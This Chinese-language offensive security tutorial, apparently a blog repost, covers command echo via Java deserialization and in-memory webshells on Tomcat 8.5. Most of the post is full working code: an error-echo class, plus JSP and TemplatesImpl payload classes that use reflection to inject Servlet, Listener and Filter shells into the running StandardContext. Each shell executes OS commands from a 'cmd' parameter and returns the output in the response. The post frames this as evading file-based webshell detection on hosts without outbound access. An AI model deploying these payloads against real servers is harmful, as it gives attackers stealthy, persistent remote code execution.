Java反序列化命令回显和内存shell(1)

渗透技巧 3年前 (2021) admin
1,099 0 0

理论上来说,反序列化命令回显有很多花里胡哨的办法,但一般来说需要用到命令回显时都是不通外网时才用的,都通外网了直接弹shell上CS了,还废这个劲干嘛。因此利用中间件的Response回显就成了最常用的办法,其中最简单的当属报错回显,在java反序列化实战的时候介绍过。


一、    报错回显

Echo.class

package test;import java.io.*;
public class Echo { public Echo() throws Exception { Process process = Runtime.getRuntime().exec("ipconfig"); InputStream in = process.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(in)); String line; StringBuilder sb = new StringBuilder(); while ((line = br.readLine()) != null) { sb.append(line).append("n"); } String str = sb.toString(); System.out.println(str); throw new Exception(str); }}

test.jsp

<%@ page import="java.io.*" contentType="text/html; charset=UTF-8"%><%InputStream in = request.getInputStream();ObjectInputStream objectInputStream = new ObjectInputStream(in);objectInputStream.readObject();%>

上次用的是DefineClassCC6,其实BcelCC6,TemplatesImplCC6均没问题。

Java反序列化命令回显和内存shell(1)

Java反序列化命令回显和内存shell(1)



二、    Tomcat Servlet Shell


报错回显在成熟项目中根本不会开启报错,因此很难利用,更常见的应该是利用容器自带的Response进行回显,而且还会搭配Request的header传递命令参数。
但想获取Request和Response,并不是那么容易的事。

这里先从前置知识开始学习,那就是tomcat内存shell,内存shell规避了动态脚本落地的查杀,同时也是不出网命令回显的解决方案之一。
tomcat内存shell根据动态加载的类不同,分为Servlet/Filter/Listener,这也是java web中常见的开发概念。

以下都使用tomcat-8.5.72
Servlet就是个区别于jsp动态脚本的web页面,先写个最简单的Servlet
WEB-INF/web.xml

<?xml version="1.0" encoding="UTF-8"?><web-app xmlns="http://java.sun.com/xml/ns/javaee"    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    xsi:schemaLocation="http://JAVA.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"    version="3.0">  <servlet>    <servlet-name>testServlet</servlet-name>    <servlet-class>test.testServlet</servlet-class></servlet><servlet-mapping>    <servlet-name>testServlet</servlet-name>    <url-pattern>/testServlet</url-pattern></servlet-mapping></web-app>

src/test/testServlet

package test;
import java.io.*;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;
public class testServlet extends HttpServlet {
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { PrintWriter out = resp.getWriter(); resp.setContentType("text/html;charset=utf-8"); out.println("<strong>doGet My Servlet!</strong><br>"); }
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { PrintWriter out = resp.getWriter(); resp.setContentType("text/html;charset=utf-8"); out.println("<strong>doPost My Servlet!</strong><br>"); }}

Java反序列化命令回显和内存shell(1)



我们的目的,就是动态注入一个这样的Servlet,在tomcat中,Servlet由Wrapper容器加载,而Wrapper又由Context 容器创建。
内存shell的核心就是获取当前Context 对象,也就是org.apache.catalina.core.StandardContext,再通过它来创建Wrapper,加载恶意的Servlet。

在jsp中,我们直接就有request对象,随便打印它的一个属性,下断点会发现其为
实现了HttpServletRequest接口的org.apache.catalina.connector.RequestFacade类,其只有一个Request属性为org.apache.catalina.connector.Request类,这个类有个方法是getContext(),可直接获取StandardContext对象。

Java反序列化命令回显和内存shell(1)

结构大概是这样的
request(org.apache.catalina.connector.RequestFacade)
request(org.apache.catalina.connector.Request)
mappingData(org.apache.catalina.mapper.MappingData)
context(org.apache.catalina.core.StandardContext)

Java反序列化命令回显和内存shell(1)


也就是通过jsp自带的request对象,我们可以直接获取StandardContext对象,其中唯一有问题的是org.apache.catalina.connector.RequestFacade的request属性是protected的,没关系,用反射拿到就行了。

<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.connector.Request" %><%        Field reqF = request.getClass().getDeclaredField("request");    reqF.setAccessible(true);    Request req = (Request) reqF.get(request);    StandardContext standardContext = (StandardContext) req.getContext();    out.println(standardContext);%>

然后就可以新建一个Wrapper,加载恶意Servlet。

<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %><%@ page import="java.io.*" %><%@ page import="org.apache.catalina.Wrapper" %><%@ page import="java.util.Scanner" %>
<% Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {
} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException { String cmd = request.getParameter("cmd"); boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = response.getWriter(); response.getWriter().write(output); response.getWriter().flush(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {
} };%>
<% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("shell"); wrapper.setServlet(servlet);
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell", "shell");%>

访问jsp文件后/shell?cmd=ipconfig可获取内存shell。

Java反序列化命令回显和内存shell(1)

这样实现了jsp获取内存shell,但反序列化时我们没有jsp自带的request对象,只能通过当前线程来获取,在tomcat8及更新版本中,有一个非常简单的从当前线程获取StandardContext的方法。

<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();%>

集成到反序列化链中,恶意类必须实现Servlet接口,然后加载自己,DefineClassCC6加载恶意类如下。注意依赖tomcat-catalina-8.5.57.jar。

package test;
import java.io.*;import javax.servlet.*;
import org.apache.catalina.Wrapper;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;
public class Tomcat8ServletShell implements Servlet{
public Tomcat8ServletShell() throws Exception { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("shell"); wrapper.setServlet(this);
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell", "shell"); }
@Override public void init(ServletConfig config) throws ServletException { }
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException { String cmd = request.getParameter("cmd"); boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(in)); String line; StringBuilder sb = new StringBuilder(); while ((line = br.readLine()) != null) { sb.append(line).append("n"); } PrintWriter out = response.getWriter(); out.println(sb.toString()); out.flush(); out.close(); }
@Override public String getServletInfo() { return null; }
@Override public void destroy() { }}

TemplatesImplCC6加载恶意类如下

package test;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.*;import javax.servlet.*;import org.apache.catalina.Wrapper;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;
public class TemplatesImplTomcat8ServletShell extends AbstractTranslet implements Servlet{ public TemplatesImplTomcat8ServletShell() throws IOException {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("shell"); wrapper.setServlet(this);
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell", "shell");
} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException { String cmd = request.getParameter("cmd"); boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(in)); String line; StringBuilder sb = new StringBuilder(); while ((line = br.readLine()) != null) { sb.append(line).append("n"); } PrintWriter out = response.getWriter(); out.println(sb.toString()); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { }}

至此实现反序列化打入内存shell,以此命令回显。(BcelCC6链报错,未知原因)
实战效果如下

Java反序列化命令回显和内存shell(1)

Java反序列化命令回显和内存shell(1)

三、    Tomcat Listener Shell

先看正常Listener是什么样的。
WEB-INF/web.xml

<listener><listener-class>test.testListener</listener-class></listener>

src/test/testListener

package test;
import javax.servlet.*;

public class testListener implements ServletRequestListener {
@Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("testListener"); }
@Override public void requestInitialized(ServletRequestEvent sre) {
    }}

访问任何路由触发Listener,因此Listener全局生效

Java反序列化命令回显和内存shell(1)

StandardContext.addApplicationEventListener()可直接新增Listener,因此直接写一个新增Listener的jsp出来。

<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %><%@ page import="java.io.*" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.connector.Request" %><%@ page import="java.util.Scanner" %>
<%ServletRequestListener listener = new ServletRequestListener() { public void requestDestroyed(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){ try { Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request)requestF.get(req);
String cmd = req.getParameter("cmd"); boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; request.getResponse().getWriter().write(output); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } }
public void requestInitialized(ServletRequestEvent sre) {}};%>
<% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
standardContext.addApplicationEventListener(listener);%>

访问jsp即可在任意位置执行命令,如果多次访问jsp,则会增加多个Listener。

Java反序列化命令回显和内存shell(1)


TemplatesImplCC6加载恶意类如下,DefineClassCC6略过。依赖tomcat-catalina-8.5.57.jar。

package test;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.*;import java.lang.reflect.Field;import java.util.Scanner;
import javax.servlet.*;import javax.servlet.http.HttpServletRequest;
import org.apache.catalina.connector.Request;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;
public class TemplatesImplTomcat8ListenerShell extends AbstractTranslet implements ServletRequestListener{ public TemplatesImplTomcat8ListenerShell() throws Exception { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); standardContext.addApplicationEventListener(this); } public void requestDestroyed(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){ try { Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request)requestF.get(req);
String cmd = req.getParameter("cmd"); boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; request.getResponse().getWriter().write(output); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } } public void requestInitialized(ServletRequestEvent sre) {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { }
}


四、    Tomcat Filter Shell

还是先看正常的一个Filter是怎么样的
WEB-INF/web.xml

<filter>    <filter-name>testFilter</filter-name>    <filter-class>test.testFilter</filter-class></filter><filter-mapping>    <filter-name>testFilter</filter-name>     <url-pattern>/testFilter/*</url-pattern></filter-mapping>

src/test/testFilter

package test;
import java.io.*;import javax.servlet.*;
public class testFilter implements Filter {
@Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { response.setContentType("text/html;charset=utf-8"); PrintWriter out = response.getWriter(); out.println("<strong>doFilter My Filter!</strong><br>"); out.flush(); out.close(); chain.doFilter(request,response); }
@Override public void destroy() { }}

效果如下图

Java反序列化命令回显和内存shell(1)


Filter的注入过程相对麻烦一点,先下断点看我们熟悉的StandardContext,它有哪些关于Filter的属性。

Java反序列化命令回显和内存shell(1)

一共有三个,其中filterConfigs(HashMap<String, ApplicationFilterConfig>),存储着StandardContext和FilterDef信息,filterDefs(HashMap<String, FilterDef>)存储着filter对象、类等信息,filterMaps(ContextFilterMaps()),则存储着路径信息。

再去testFilter.doFilter()下断点,看栈。

Java反序列化命令回显和内存shell(1)

跟到StandardWrapperValve.invoke(),往上翻翻代码,可以看到一行明显的创建Filter链的代码。

        ApplicationFilterChain filterChain =                ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

跟进ApplicationFilterFactory.createFilterChain()

第一步,从StandardContext中取出filterMaps。

        StandardContext context = (StandardContext) wrapper.getParent();        FilterMap filterMaps[] = context.findFilterMaps();

第二步,遍历filterMaps,匹配其路径关系

        for (FilterMap filterMap : filterMaps) {            if (!matchDispatcher(filterMap, dispatcher)) {                continue;            }            if (!matchFiltersServlet(filterMap, servletName)) {                continue;            }

第三步,根据filterMap的Filter名,从StandardContext取出filterConfig

            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)                    context.findFilterConfig(filterMap.getFilterName());

第四步,添加filterConfig

            filterChain.addFilter(filterConfig);


此为添加Filter的全过程,可以看到均和filterConfigs/filterDefs/filterMaps相关,我们的目的就是给StandardContext设置好这三个属性,其中filterMaps有StandardContext.addFilterMapBefore()来添加(addFilterMap()好像也可以)。

    public void addFilterMapBefore(FilterMap filterMap) {        validateFilterMap(filterMap);        // Add this filter mapping to our registered set        filterMaps.addBefore(filterMap);        fireContainerEvent("addFilterMap", filterMap);    }

filterDefs有StandardContext.addFilterDef()来添加。

    public void addFilterDef(FilterDef filterDef) {
synchronized (filterDefs) { filterDefs.put(filterDef.getFilterName(), filterDef); } fireContainerEvent("addFilterDef", filterDef);
}

filterConfigs就什么都没有,因此必须用反射的方式去设置,此外ApplicationFilterConfig的构造方法是无修饰的,也需要使用反射方式去构造。
jsp如下

<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %><%@ page import="java.io.*" %><%@ page import="java.lang.reflect.*" %><%@ page import="java.util.*" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.catalina.Context" %>
<%
String name = "filtershell";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; if (req.getParameter("cmd") != null){ String cmd = request.getParameter("cmd"); boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); } chain.doFilter(request,response);
}
@Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/filtershell/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);}
%>

效果如下

Java反序列化命令回显和内存shell(1)


TemplatesImplCC6加载恶意类如下,依赖tomcat-catalina-8.5.57.jar/tomcat-util-scan-8.5.57.jar

package test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.*;import java.lang.reflect.*;import java.util.*;
import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;
public class TemplatesImplTomcat8FilterShell extends AbstractTranslet implements Filter{ public TemplatesImplTomcat8FilterShell() throws Exception {
String name = "filtershell";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null) { FilterDef filterDef = new FilterDef(); filterDef.setFilter(this); filterDef.setFilterName(name); filterDef.setFilterClass(this.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/filtershell/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
}

}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; if (req.getParameter("cmd") != null){ String cmd = request.getParameter("cmd"); boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); } chain.doFilter(request,response);
}
@Override public void destroy() { }}


参考链接:

https://xz.aliyun.com/t/10358

https://xz.aliyun.com/t/10362


原文始发于微信公众号(珂技知识分享):Java反序列化命令回显和内存shell(1)

版权声明:admin 发表于 2021年10月28日 上午9:45。
转载请注明:Java反序列化命令回显和内存shell(1) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...